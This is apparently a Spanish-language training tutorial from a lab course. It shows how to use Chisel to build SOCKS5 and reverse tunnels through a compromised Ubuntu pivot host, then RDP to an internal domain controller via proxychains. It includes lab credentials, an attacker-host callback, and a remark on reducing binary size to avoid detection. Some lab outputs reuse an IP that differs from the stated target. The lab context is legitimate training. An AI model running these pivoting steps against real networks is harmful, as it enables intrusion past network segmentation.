Page cover

🔁SOCKS5 Tunneling con Chisel

Chisel es una herramienta de tunelización basada en TCP/UDP escrita en Go que utiliza HTTP para transportar datos protegidos mediante SSH. Chisel puede crear una conexión de túnel cliente-servidor en un entorno restringido por firewall. Consideremos un escenario en el que tenemos que canalizar nuestro tráfico a un servidor web en la red 172.16.5.0/ 23(red interna). Tenemos el Controlador de Dominio con la dirección 172.16.5.19. Nuestro host de ataque no puede acceder directamente a esto, ya que nuestro host de ataque y el controlador de dominio pertenecen a segmentos de red diferentes. Sin embargo, dado que hemos comprometido el servidor Ubuntu, podemos iniciar un servidor Chisel en él que escuchará en un puerto específico y reenviará nuestro tráfico a la red interna a través del túnel establecido.

Configuración y uso de Chisel

Antes de que podamos usar Chisel, debemos tenerlo en nuestro host de ataque. Si no tenemos Chisel en nuestro host de ataque, podemos clonar el repositorio del proyecto usando el comando directamente debajo:

afsh4ck@kali$ git clone https://github.com/jpillora/chisel.git

Necesitaremos el lenguaje de programación Goinstalado en nuestro sistema para construir el binario Chisel. Con Go instalado en el sistema, podemos movernos a ese directorio y usarlo go buildpara construir el binario Chisel.

Construyendo el binario Chisel

afsh4ck@kali$ cd chisel
go build

Puede resultar útil tener en cuenta el tamaño de los archivos que transferimos a los objetivos de las redes de nuestros clientes, no sólo por motivos de rendimiento sino también para considerar la detección. Dos recursos beneficiosos para complementar este concepto en particular son la publicación del blog de Oxdf " Tunneling with Chisel and SSF " y el tutorial de la caja de IppSec Reddish. IppSec comienza su explicación de Chisel, construyendo el binario y reduciendo el tamaño del binario en la marca 24:29 de su video .

Una vez creado el binario, podemos usar SCP para transferirlo al host dinámico de destino.

Transferencia de binarios de Chisel a Pivot Host

afsh4ck@kali$ scp chisel ubuntu@10.129.202.64:~/
 
ubuntu@10.129.202.64's password: 
chisel                                        100%   11MB   1.2MB/s   00:09    

Luego podemos iniciar el listener de Chisel en el host.

Ejecutando el servidor Chisel en el host Pivot

ubuntu@WEB01:~$ ./chisel server -v -p 1234 --socks5

2022/05/05 18:16:25 server: Fingerprint Viry7WRyvJIOPveDzSI2piuIvtu9QehWw9TzA3zspac=
2022/05/05 18:16:25 server: Listening on http://0.0.0.0:1234

El oyente Chisel escuchará las conexiones entrantes en el puerto 1234 usando SOCKS5 ( --socks5) y las reenviará a todas las redes a las que se puede acceder desde el host pivote. En nuestro caso, el host pivot tiene una interfaz en la red 172.16.5.0/23, lo que nos permitirá llegar a hosts en esa red.

Podemos iniciar un cliente en nuestro host de ataque y conectarnos al servidor Chisel.

Conexión al servidor Chisel

afsh4ck@kali$ ./chisel client -v 10.129.202.64:1234 socks

2022/05/05 14:21:18 client: Connecting to ws://10.129.202.64:1234
2022/05/05 14:21:18 client: tun: proxy#127.0.0.1:1080=>socks: Listening
2022/05/05 14:21:18 client: tun: Bound proxies
2022/05/05 14:21:19 client: Handshaking...
2022/05/05 14:21:19 client: Sending config
2022/05/05 14:21:19 client: Connected (Latency 120.170822ms)
2022/05/05 14:21:19 client: tun: SSH connected

Como puede ver en el resultado anterior, el cliente Chisel ha creado un túnel TCP/UDP a través de HTTP protegido mediante SSH entre el servidor Chisel y el cliente y ha comenzado a escuchar en el puerto 1080. Ahora podemos modificar nuestro archivo proxychains.conf ubicado en /etc/proxychains.confy agregue 1080el puerto al final para que podamos usar cadenas proxy para pivotar usando el túnel creado entre el puerto 1080 y el túnel SSH.

Edición y confirmación de proxychains.conf

Podemos usar cualquier editor de texto que queramos para editar el archivo proxychains.conf y luego confirmar nuestros cambios de configuración usando tail.

afsh4ck@kali$ tail -f /etc/proxychains.conf 

#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 	127.0.0.1 9050
socks5 127.0.0.1 1080

Ahora, si usamos cadenas de proxy con RDP, podemos conectarnos al DC en la red interna a través del túnel que hemos creado para el host Pivot.

Pivoting hacia el DC

afsh4ck@kali$ proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

Pivoting inverso de Chisel

En el ejemplo anterior, utilizamos la máquina comprometida (Ubuntu) como nuestro servidor Chisel, listada en el puerto 1234. Aun así, puede haber escenarios en los que las reglas del firewall restrinjan las conexiones entrantes a nuestro objetivo comprometido. En tales casos, podemos utilizar Chisel con la opción inversa.

Cuando el servidor Chisel está --reverse habilitado, los controles remotos pueden tener el prefijo con Rpara indicar invertido. El servidor escuchará y aceptará conexiones, y serán enviadas mediante proxy a través del cliente, que especificó el control remoto. Los controles remotos inversos que se especifiquen R:socksescucharán en el puerto de calcetines predeterminado del servidor (1080) y finalizarán la conexión en el proxy SOCKS5 interno del cliente.

Iniciaremos el servidor en nuestro host de ataque con la opción --reverse.

Iniciando el servidor Chisel en nuestro host de ataque

afsh4ck@kali$ sudo ./chisel server --reverse -v -p 1234 --socks5

2022/05/30 10:19:16 server: Reverse tunnelling enabled
2022/05/30 10:19:16 server: Fingerprint n6UFN6zV4F+MLB8WV3x25557w/gHqMRggEnn15q9xIk=
2022/05/30 10:19:16 server: Listening on http://0.0.0.0:1234

Luego nos conectamos desde Ubuntu (host pivote) a nuestro host de ataque, usando la opción R:socks

Conectando el cliente Chisel a nuestro host de ataque

ubuntu@WEB01$ ./chisel client -v 10.10.14.17:1234 R:socks

2022/05/30 14:19:29 client: Connecting to ws://10.10.14.17:1234
2022/05/30 14:19:29 client: Handshaking...
2022/05/30 14:19:30 client: Sending config
2022/05/30 14:19:30 client: Connected (Latency 117.204196ms)
2022/05/30 14:19:30 client: tun: SSH connected

Podemos usar cualquier editor que queramos para editar el archivo proxychains.conf y luego confirmar nuestros cambios de configuración usando tail.

Edición y confirmación de proxychains.conf

afsh4ck@kali$ tail -f /etc/proxychains.conf 

[ProxyList]
# add proxy here ...
# socks4    127.0.0.1 9050
socks5 127.0.0.1 1080 

Si usamos proxychains con RDP, podemos conectarnos al DC en la red interna a través del túnel que hemos creado para el host Pivot.

afsh4ck@kali$ proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

Caso práctico

Usando los conceptos enseñados en esta sección, conéctese al objetivo y establezca un túnel SOCKS5 que pueda usarse para RDP en el controlador de dominio (172.16.5.19, victor:pass@123). Envía el contenido de C:\Users\victor\Documents\flag.txt como respuesta.

SSH a 10.129.188.30 (ACADEMY-PIVOTING-LINUXPIV)
usuario "ubuntu"
contraseña "HTB_@cademy_stdnt!"

Creación y envío del binario de Chisel

afsh4ck@kali$ scp chisel ubuntu@10.129.188.30:~/
 
ubuntu@10.129.202.64's password: 
chisel                                        100%   11MB   1.2MB/s   00:09    
ubuntu@WEB01:~$ ./chisel server -v -p 1234 --socks5
2024/06/17 18:22:27 server: Fingerprint +arF4d3FmWg/NHjgWXYqKWMgjIdarCZWt2ifLDnQ980=
2024/06/17 18:22:27 server: Listening on http://0.0.0.0:1234

Ejecutar Chisel

  • En el servidor:

ubuntu@WEB01:~$ ./chisel server -v -p 1234 --socks5

2022/05/05 18:16:25 server: Fingerprint Viry7WRyvJIOPveDzSI2piuIvtu9QehWw9TzA3zspac=
2022/05/05 18:16:25 server: Listening on http://0.0.0.0:1234
  • En Kali:

afsh4ck@kali$ ./chisel client -v 10.129.202.64:1234 socks

2022/05/05 14:21:18 client: Connecting to ws://10.129.202.64:1234
2022/05/05 14:21:18 client: tun: proxy#127.0.0.1:1080=>socks: Listening
2022/05/05 14:21:18 client: tun: Bound proxies
2022/05/05 14:21:19 client: Handshaking...
2022/05/05 14:21:19 client: Sending config
2022/05/05 14:21:19 client: Connected (Latency 120.170822ms)
2022/05/05 14:21:19 client: tun: SSH connected

Proxychains y RDP

afsh4ck@kali$ sudo nano /etc/proxychains.conf 

[ProxyList]
# add proxy here ...
# socks4    127.0.0.1 9050
socks5 127.0.0.1 1080 
afsh4ck@kali$ proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

Última actualización

¿Te fue útil?